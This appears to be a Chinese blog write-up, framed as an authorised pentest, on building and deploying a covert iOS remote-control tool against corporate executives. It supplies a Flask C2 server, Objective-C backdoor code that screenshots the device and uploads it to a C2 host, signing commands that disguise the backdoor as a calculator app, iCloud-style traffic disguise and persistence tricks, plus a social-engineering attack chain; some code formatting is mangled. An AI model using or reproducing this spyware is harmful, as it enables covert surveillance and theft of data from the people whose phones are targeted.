一、意外发现的iOS远控需求

有一次,我参与某金融企业的内部渗透测试项目,任务是模拟外部攻击者在假设的泄露场景中针对高管设备进行攻击。目标企业的高管普遍使用 iPhone 作为主要设备,而公司对其安全性高度信任,特别是认为 iOS 的封闭性让它几乎不可能被攻破。

但在渗透测试中,我们不能完全依赖传统的思路,比如内网横向或者社工邮件攻击。针对 iOS 的攻击需要更高的隐蔽性和针对性。在这次实战中,我使用了一款定制化的 iOS 远控工具,结合社工钓鱼获取了高管的设备控制权,并在他们毫无察觉的情况下完成了敏感数据的提取。

接下来,我会分享这次渗透中使用到的技术点,包括 iOS 远控工具的开发与免杀技巧、绕过 iOS 本身的限制、对企业级 MDM(移动设备管理)的干扰方法,以及整个攻击链的完整复现。

---

二、iOS远控工具的设计思路

iOS 远控工具的开发实际上不算复杂,但如何做到隐蔽性高同时又能绕过 iOS 的限制,才是关键所在。

核心功能模块

一个功能完整的 iOS 远控工具应该包括以下几个模块:

  1. 命令与控制(C2)通信模块
  • 支持 HTTPS 加密通信,或者伪装成合法的 iOS App 网络请求(比如伪装成 iCloud API)。
  • 使用后门植入与主控服务器通信,接受命令。
  1. 数据采集模块
  • 截屏、录音、摄像头的调用。
  • 提取短信、通话记录、联系人、位置信息等。
  • 监听 App 数据(如微信、企业邮箱)。
  1. 隐匿与免杀模块
  • 伪装成合法 App,不触发用户警觉。
  • 利用 iOS 签名机制绕过 App Store 审核,甚至通过 MDM 配置企业签名的方式部署。
  1. 持久化模块
  • 在用户重启设备后,仍然能够重新运行。
  • 防止被用户手动卸载或被杀毒机制清除。

黑客示意图

技术实现的难点

iOS 的封闭性主要体现在以下几点:

  • App 沙盒机制:一个 App 无法直接访问其他 App 的数据。
  • 签名机制:所有 iOS 应用都需要 Apple 的签名才能运行。
  • 审核机制:通过 App Store 部署的应用需要通过严格的安全审核。
  • 用户权限限制:敏感操作(如访问摄像头、麦克风)需要用户授权。

在这次实战中,我们通过以下方法解决了这些问题。

---

三、从零开始搭建实战环境

为了模拟攻击场景,我搭建了一个完整的实验环境,包括 C2 服务器、目标设备模拟以及测试 App。

实验环境包含:

  1. 目标设备
  • 一台已越狱的 iPhone SE 设备,用于调试测试。
  • 一台未越狱的 iPhone XR,模拟真实目标。
  1. C2 服务器
  • 使用 VPS 部署的 Nginx 服务器,通过 HTTPS 提供 Web 控制台。
  • 定制化的 Python 后端,用于处理远控工具上传的数据。
  1. 开发工具
  • Xcode:用于编写和调试 iOS App。
  • Frida 和 Objection:用于动态分析目标设备。
  • Theos:一个 iOS 越狱工具开发框架。
  1. 签名工具
  • iOS App Signer:用于对自签名的应用进行封装。
  • 开发者证书:用于绕过 iOS 的签名验证。

环境搭建步骤

1. 配置 VPS 作为 C2 服务器: 在 VPS 上部署一个简单的 Python Flask 应用作为 C2 服务端。代码如下:

<pre><code class="language-python">from flask import Flask, request, jsonify import os

app = Flask(__name__)

存储远控发回来的数据

DATA_STORAGE = &quot;/var/log/ios_remote_control/&quot;

@app.route(&#039;/command&#039;, methods=[&#039;GET&#039;]) def send_command():

随机生成一个测试命令

return jsonify({&quot;command&quot;: &quot;capture_screen&quot;})

@app.route(&#039;/upload&#039;, methods=[&#039;POST&#039;]) def upload_data():

接收远控工具上传的数据

data = request.files.get(&#039;file&#039;) if data: filepath = os.path.join(DATA_STORAGE, data.filename) data.save(filepath) return jsonify({&quot;status&quot;: &quot;success&quot;}) return jsonify({&quot;status&quot;: &quot;error&quot;})

if __name__ == &#039;__main__&#039;: app.run(host=&#039;0.0.0.0&#039;, port=443, ssl_context=(&#039;server.crt&#039;, &#039;server.key&#039;))</code></pre>

2. 使用 Theos 编写后门模块: Theos 是一个强大的 iOS 开发框架,允许我们在越狱设备上绕过常规的 iOS 签名机制。以下是一个简单的后门模块代码,用于截屏并将数据上传到 C2 服务器:

`objective-c

import <UIKit/UIKit.h>

void captureScreenAndSendToServer() { @autoreleasepool { // 截屏逻辑 UIGraphicsBeginImageContextWithOptions([UIScreen mainScreen].bounds.size, NO, 0.0); [[[UIApplication sharedApplication] keyWindow].layer renderInContext:UIGraphicsGetCurrentContext()]; UIImage *screenshot = UIGraphicsGetImageFromCurrentImageContext(); UIGraphicsEndImageContext();

// 保存截图为文件 NSData imageData = UIImageJPEGRepresentation(screenshot, 0.8); NSString filePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"screenshot.jpg"]; [imageData writeToFile:filePath atomically:YES];

// 上传到 C2 服务器 NSURL url = [NSURL URLWithString:@"https://your-c2-server/upload"]; NSMutableURLRequest request = [NSMutableURLRequest requestWithURL:url]; [request setHTTPMethod:@"POST"]; [request setValue:@"application/octet-stream" forHTTPHeaderField:@"Content-Type"]; [request setHTTPBody:[NSData dataWithContentsOfFile:filePath]];

黑客示意图

NSURLSession *session = [NSURLSession sharedSession]; [[session dataTaskWithRequest:request] resume]; } } <pre><code> 3. 在目标设备上部署测试 App: 我们将后门模块集成到一个伪装成计算器的测试应用中,并使用企业签名的方式安装到目标设备。 </code></pre>bash $ codesign -f -s "Developer Certificate" --entitlements entitlements.plist Payload/Calculator.app $ zip -r Payload/Calculator.ipa Payload/ <pre><code> 4. 测试工具的功能是否正常: 在目标设备上运行伪装应用,记录 C2 服务器是否成功接收到上传的截图。

---

四、隐匿与免杀的技巧

在实战中,工具的隐蔽性决定了攻击是否成功,尤其是在面对企业部署的 MDM 和 EDR 系统时。

iOS 签名的绕过

我们利用企业开发者证书进行签名,这种证书可以绕过 App Store 的审核,同时允许直接安装未上架的 App。通过精心设计的企业签名策略,我们把远控工具伪装成公司内部工具进行分发。

数据流量伪装

为了躲避流量审查,我们把 C2 的流量伪装成合法的 iCloud API 调用。一些简单的 HTTP 头部伪装代码如下: </code></pre>python headers = { "Host": "api.icloud.com", "User-Agent": "iOS/15.0", "Content-Type": "application/json" } `

持久化操作

通过 Hook 系统的 UIApplicationMain 方法,我们让后门模块在每次应用启动时自动运行。同时,为了防止被用户卸载,可以在越狱设备上使用 tweak 将后门模块写入系统服务。

---

五、攻击链的完整复现

以下是本次攻击的完整流程:

  1. 收集目标设备信息,获取可用的企业签名证书。
  2. 编写伪装工具,将远控模块集成到合法应用中。
  3. 通过社工手段诱导目标下载安装伪装 App。
  4. 工具运行后,收集截图、位置信息等敏感数据并上传到 C2。
  5. 隐蔽 C2 流量,同时设置工具的持久化机制。

---

六、实战经验总结

  1. 工具定制化非常重要:针对不同目标需要调整工具的功能。
  2. 隐匿性能决定攻击成败:无论是伪装为合法流量,还是绕过签名机制,都是iOS 渗透的核心。
  3. 签名证书成为关键突破点:如果目标企业存在开发者证书泄露,攻击成本会大大降低。

黑客示意图

本文仅供合法授权的安全测试使用,切勿用于非法用途,否则后果自负。